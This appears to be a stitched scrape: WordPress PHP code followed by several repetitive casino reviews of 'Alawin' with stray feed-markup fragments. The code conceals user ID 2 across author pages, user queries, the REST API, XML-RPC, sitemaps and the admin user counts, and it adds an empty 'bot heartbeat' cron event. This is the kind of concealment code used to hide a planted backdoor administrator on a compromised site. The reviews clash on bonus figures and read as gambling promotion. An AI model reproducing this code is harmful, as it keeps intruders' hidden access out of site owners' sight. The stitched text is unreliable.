add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
NovaForge casinos share a family resemblance, and Alawin follows the pattern. An Anjouan license. No dedicated app, in favor of a browser built properly for phones. Live chat and email staffed around the clock, in several languages. The licensing point deserves a straight answer rather than a shrug: Anjouan is offshore. It’s a real registration with real obligations – certified software, security measures, responsible-gambling rules – but no European regulator will step in if a bonus dispute turns ugly. Support tickets are your first and last line of defense, so keep records of every chat.
The welcome package runs 100% up to €500 with 200 free spins, and those spins arrive in daily batches instead of all at once. Miss a twenty-four-hour activation window and the unclaimed ones simply vanish. After that, the calendar stays busy:
Alawin launches with a library past the 10,000 mark – Megaways slots, bonus buys, progressive jackpots, crash and instant titles, several blackjack and roulette variants, live dealers, plus a full sportsbook that includes eSports. Well over a hundred studios feed it, from Pragmatic Play and Playtech down to niche names most players have never heard of. There’s also the Bonus Crab, a thirty-second daily grab for cash or Coins, and Challenges that turn ordinary slot sessions into spendable rewards.
| Detail | What to expect |
|---|---|
| Minimum deposit and withdrawal | Around €10 |
| Bonus wagering | 35x on bonus funds, 40x on free spin winnings |
| Deposit turnover before withdrawal | 1x – miss it and fees apply |
| Daily withdrawal cap | €500, rising with VIP level |
| Processing time | Up to three business days |
| Payment methods | Cards, e-wallets, crypto, local processors |
Alawin is a strong pick if breadth is what you want – thousands of games, a promotion for nearly every day of the week, and a loyalty ladder with real teeth. It’s a poor pick if you need a regulator standing behind you, or if you live somewhere its accepted list doesn’t reach. So deposit small, clear the welcome wagering before you start chasing reloads, and treat the VIP tiers as the long game they are. The free spins expire faster than you think.
]]>New players get a 100% match up to €500 plus 200 free spins, and the spins arrive in daily batches rather than one dump – forget about them and they quietly expire. Bonus funds carry 35x wagering, spin winnings 40x, and the whole thing has a ten-day clock. Beyond the welcome offer, the promo calendar is dense:
Over 10,000 titles from more than a hundred studios. The big names are all present – Pragmatic Play, Playtech, Microgaming, Hacksaw, Relax – but the interesting part is the long tail: crash and instant-game specialists like Spribe, plus experimental studios churning out mechanics you won’t find on a stripped-down platform. Table games come in multiple rule sets, live dealers cover the usual formats plus game shows, and eSports betting rounds out the crossover appeal.
Cards, e-wallets, bank transfer and a solid crypto lineup covering Bitcoin, Ethereum, USDT, Litecoin and more. Regional processors appear where it matters. The headline specs:
| Spec | Alawin |
|---|---|
| Minimum deposit / withdrawal | €10 |
| Bonus wagering | 35x (40x on spin winnings) |
| Deposit turnover before withdrawal | 1x |
| Daily withdrawal cap | €500, rising with VIP level |
| Processing time | Up to three business days |
NovaForge runs on an Anjouan licence. That’s a real registration with real obligations around certified software and responsible gambling, but it isn’t Malta or the UK. If something goes sideways with a bonus or a wager, there’s no regulator to arbitrate – your first move is support, which runs around the clock via chat and email.
The temptation here is to grab everything at once. Don’t. Claim the welcome package, note the ten-day deadline, keep your bets under the cap, and get verified before you touch a slot. Alawin rewards players who read the terms more generously than it rewards players who chase every promotion on the page.
]]>Slots carry the weight: more than 10,000 of them, roughly six in ten of everything on the site, drawn from 117+ studios. Spinomenal, Hacksaw Gaming, Novomatic, Playson, Fazi – the familiar names plus a long tail of smaller shops. Megaways, bonus buys, exclusives, seasonal themes. Then 211 table games spanning blackjack, roulette, baccarat, craps and keno, with stakes from ten cents to twenty grand a hand. Live is where it gets serious: 478 tables split across game shows, VIP rooms and multi-camera roulette from Pragmatic Play and Playtech.
Demo play opens without an account, which is rarer than it should be. The balance resets at zero – no winnings, no bonuses, but a faithful rehearsal.
The headline is 300% up to €2,000 plus 300 free spins and a Bonus Crab token. It’s drip-fed across your first three deposits:
Wagering sits at 35x on bonus plus deposit and 40x on spin winnings, with ten days to clear, a €5 max bet, and no Neteller or Skrill deposits qualifying. Crypto players get a different door: 200% up to 3,000 USDT.
After that the calendar fills up – Monday reloads, weekend reloads, 15% daily cashback for VIP levels two through five, 25% weekly live cashback. The strange one is Bonus Crab, a daily claw machine unlocked after a €10 deposit. Twenty-five seconds to grab a toy that pays out as cash, spins or bonus funds. Wheel of Fortune spins, coin Challenges and a Shop trading coins for freebets round it out.
| Method | Minimum | Payout time |
|---|---|---|
| Crypto (Bitcoin, Ethereum, USDT and 20+ more) | €10 | 0-2 hours |
| E-wallets (Skrill, Neteller) | €10 | 0-24 hours |
| Cards (Visa, Mastercard) | €10 | 1-4 business days |
| Bank transfer | €10 | 1-4 business days |
No fees anywhere. Per-transaction caps sit at €5,000, dropping to €3,000 on Visa and Mastercard, while monthly ceilings scale with VIP level.
The permit keeps Alawin open to players in regions the stricter regulators have frozen out. It also means the safety net is thin:
Player reviews split hard, as they do at any young casino with a weak licence – some praise the payout speed, others claim wins vanish behind verification. Treat that spread as information, not noise.
If your priorities are a colossal game library, crypto payouts that land in hours, and promotions that feel like a game rather than a coupon, Alawin delivers more than most of its peers. If you need an MGA-grade safety net or genuine responsible-gambling controls, it doesn’t have them, and no bonus size compensates for that.
Practical move: deposit the minimum, run a small withdrawal before you commit real money, and see how verification treats you. The library will still be there either way.
]]>Slots do the heavy lifting – more than ten thousand of them, roughly six in ten of everything on offer, drawn from a supplier list that runs past 117 studios. Novomatic, Hacksaw Gaming, Playson, Spinomenal: the familiar names are all present, along with Megaways, bonus buys and the usual themed clutter. Table games number a couple of hundred and mix RNG with live variants, with betting floors as low as ten cents and ceilings that reach five figures. Live dealer is where Alawin genuinely punches: nearly 500 tables from Playtech and Pragmatic Play, multi-camera VIP rooms, game shows, the lot.
The headline offer stacks across three deposits, and it is generous enough to be worth reading the terms on:
Wagering sits at 35x on bonus plus deposit, 40x on anything the spins produce, a €5 max bet, and a ten-day window. Neteller and Skrill are excluded. Crypto depositors get a separate, fatter match with its own rules, so read both before you pick a funding route. Beyond the welcome, there’s a daily claw machine, a wheel you spin by wagering, weekly reloads, and a five-tier VIP ladder where cashback climbs toward 15%.
| Method | Deposit speed | Withdrawal speed | Notes |
|---|---|---|---|
| Crypto (BTC, ETH, USDT, LTC) | Instant | 0-2 hours | No fees, €10 minimum |
| E-wallets (Skrill, Neteller) | Instant | 0-24 hours | No fees; barred from bonus eligibility |
| Cards (Visa, Mastercard) | Instant | 1-4 business days | Lower €3,000 per-transaction cap |
| Bank transfer | – | 1-4 business days | No fees |
The site runs in the browser on iOS and Android with no download, and games load fast enough that you won’t notice the difference from desktop. Live chat is staffed around the clock by actual humans and typically answers inside a couple of minutes; email takes a day at worst. That’s solid.
So: if you want a sprawling library, near-instant crypto cashouts and promotions that feel like a game rather than a coupon, Alawin delivers. If you need a regulator standing behind your balance, it doesn’t.
Practical takeaway: treat the missing safety rails as your job. Decide your monthly number before you deposit, keep your own record of what goes in, and don’t let a claw machine talk you out of it.
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